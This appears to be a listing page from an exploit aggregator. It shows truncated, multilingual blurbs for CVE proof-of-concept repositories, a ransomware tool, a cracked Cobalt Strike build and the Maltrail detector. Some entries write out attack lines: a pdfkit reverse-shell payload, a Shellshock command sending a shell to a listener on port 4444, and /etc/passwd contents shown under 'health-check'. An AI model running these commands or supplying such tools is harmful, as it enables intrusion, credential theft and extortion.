CVE-2024-21626-POC

CVE-2024-21626-POC 使用說明 教育・研究目的のみに使用してください。教育・研究に関係のない行為によって生じたリスクは自己責任となります 使用 root@kitploit: docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh 另起一个terminal /bin/bash.copy 注意 docker/runcのバージョンによって使用される具体的なファイルディスクリプタは異なります。例えば、docker server:20.10.17 && runc version...

health-check

health-check Health Check & Troubleshooting daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin...

CVE-2021-3129

CVE-2021-3129 Laravel = v8.4.2 modalità di debug: esecuzione remota di codice CVE-2021-3129 Ho modificato l'exploit del maestro @crisprss https://github.com/crisprss/LaravelCVE-2021-3129EXP aggiungendo più gadget utilizzabili per l'enumerazione. Uso: root@kitploit: python3 exp.py...

blueshrimp

Proof-of-concept for CVE-2025-48593 based on examining the patch. You shouldn't worry about this. As far as I can tell, phones are NOT vulnerable to CVE-2025-48593. The issue only affects Android devices that support acting as Bluetooth headphones / speakers, such as some smartwatches, smart...

blueshrimp

Proof-of-concept per CVE-2025-48593 basato sull'esame della patch. Non dovresti preoccupartene. Per quanto ne so, i telefoni NON sono vulnerabili a CVE-2025-48593. Il problema riguarda solo i dispositivi Android che supportano la funzione di cuffie/altoparlanti Bluetooth, come alcuni smartwatch,...

MacDirtyCowDemo

Ottieni root su macOS 13.0.1 con CVE-2022-46689 equivalente macOS del bug Dirty Cow, utilizzando il test case estratto da Apple's XNU source. https://worthdoingbadly.com/macdirtycow/ Utilizzo Su una macchina macOS 13.0.1 / 12.6.1 o inferiore, esegui: root@kitploit: clang -o switcharoo...

CVE-2024-21626

Informazioni Passaggi per riprodurre assicurarsi che il kernel sia = 5.4,4.19,.. e che openat2 sia presente in /proc/kallsyms. v1.0.0-rc93= runc =1.1.11 root@kitploit: $ grep openat2 /proc/kallsyms ffffffffa64290d0 T pfxauditopenat2how ffffffffa64290e0 T auditopenat2how ffffffffa666de90 t...

CVE-2017-12611_Exploit

CVE-2017-12611-Projekt Übersicht: Ein RCE-Angriff ist mit dem angegebenen Payload möglich. Umgebung & Werkzeuge Nachfolgend sind die Umgebungen und Werkzeuge für Tests und Validierung in einem isolierten, persönlichen Labor aufgeführt. Host-Betriebssystem : Ubuntu 18.04.6 Angreifer-Betriebssystem...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Laboratorio di penetration testing basato su Docker che simula la vulnerabilità CVE-2021-42013 Path Traversal & RCE su Apache HTTP Server 2.4.49. Questo progetto è stato preparato per simulare e sfruttare exploit la vulnerabilità CVE-2021-42013 presente su Apache HTTP...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Tramite CURL modifica i valori in grassetto: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2024-1086

CVE-2024-1086 Universeller lokaler Privilegienausweitungs-Proof-of-Concept-Exploit für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6, einschließlich Debian, Ubuntu und KernelCTF, funktioniert. Die Erfolgsquote beträgt 99,4% bei KernelCTF-Images. Betroffene Versionen Der...

ADZero

Descrizione Il protocollo di crittografia vulnerabile viene implementato al posto del meccanismo di autenticazione nel protocollo Netlogon. Un attaccante non autenticato, sfruttando la vulnerabilità Zerologon, può impostare la password dell'account computer del Domain Controller su valore nullo N...

CVE-2025-32463-EXPLOIT

Xpl0it — Sequestro de Biblioteca NSS do Sudo | v0.0.4 Autor: 0xb0rn3 | 0xbv1 Tipo: Ferramenta de Pesquisa de Segurança Prova de Conceito PoC CVE: CVE-2023-42456 Técnica: injeção de biblioteca NSS via -R chroot do sudo → escalonamento de privilégio para root ⚠️ Aviso Legal Esta ferramenta foi...

cobaltstrike4.5_cdf-1

cobaltstrike4.5cdf Crack der CobaltStrike 4.5-Version, Entfernung des Checksum8-Merkmals, Umgehung von BeaconEye, Behebung des Stage-Leaks durch fehlerhafte Pfade, Hinzufügen der TOTP-Zwei-Faktor-Authentifizierung, verschlüsselte Benutzernamenanzeige, Behebung des Bugs bei der Foreign-Ableitung i...

Jasmin-Ransomware

Jasmin The Ransomware Un potente strumento ransomware per test di sicurezza utilizzato dai Red Team Video Tutorial · Segnala un bug · Richiedi Keygen gratuito Indice 1. Disclaimer ⚠️ 2. Informazioni sul progetto Costruito con Flusso di lavoro 3. Configurazione ed esecuzione Prerequisiti...

magnolia-rce

Titolo Exploit: Magnolia DX Core 6.3.8 - Iniezione di comandi Data: 05/16/2025 Autore Exploit: tmrswrr Versione: 6.3.8 Home page del fornitore: https://docs.magnolia-cms.com/home/ Prodotto: https://docs.magnolia-cms.com/product-docs/6.3/releases/release-notes-for-magnolia-cms-6.3.8/ 1. Autenticat...

CVE-2023-51764

CVE-2023-51764 Postfix SMTP Smuggling - POC Script Expect invia un'email legittima, ma all'interno dell'email ci sono molte altre email mittenti, destinatari, oggetto, ecc. diversi. L'email iniziale viene controllata per SPF/DKIM/DMARC, le altre all'interno non lo sono! uso: ./cve-2023-51764.sh...

CVE-2014-6271

CVE-2014-6271 python2.7 Metti in ascolto la tua macchina. root@kitploit: nc -l -p 4444 Esegui lo script python secondo la regola seguente: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Buon divertimento...

sagemcom-fast-3890-exploit

Sagemcom Fast 3890 Exploit Dieser Exploit nutzt die Cable-Haunt-Sicherheitslücke, um über den lokalen Netzwerkzugriff eine Shell auf dem Kabelmodem Sagemcom F@ST 3890 50.10.19 zu öffnen. Firmware-Version 50.10.21 oder neuer sollte gegen Cable Haunt sicher sein. Dieses Proof of Concept wurde...

maltrail v3.2

Maltrail Maltrail is a network traffic detection system that identifies communication with known malicious infrastructure and reports selected traffic anomalies. It matches domains, URLs, IP addresses, IP:port pairs, and User-Agent values observed on the network against a set of indicators called...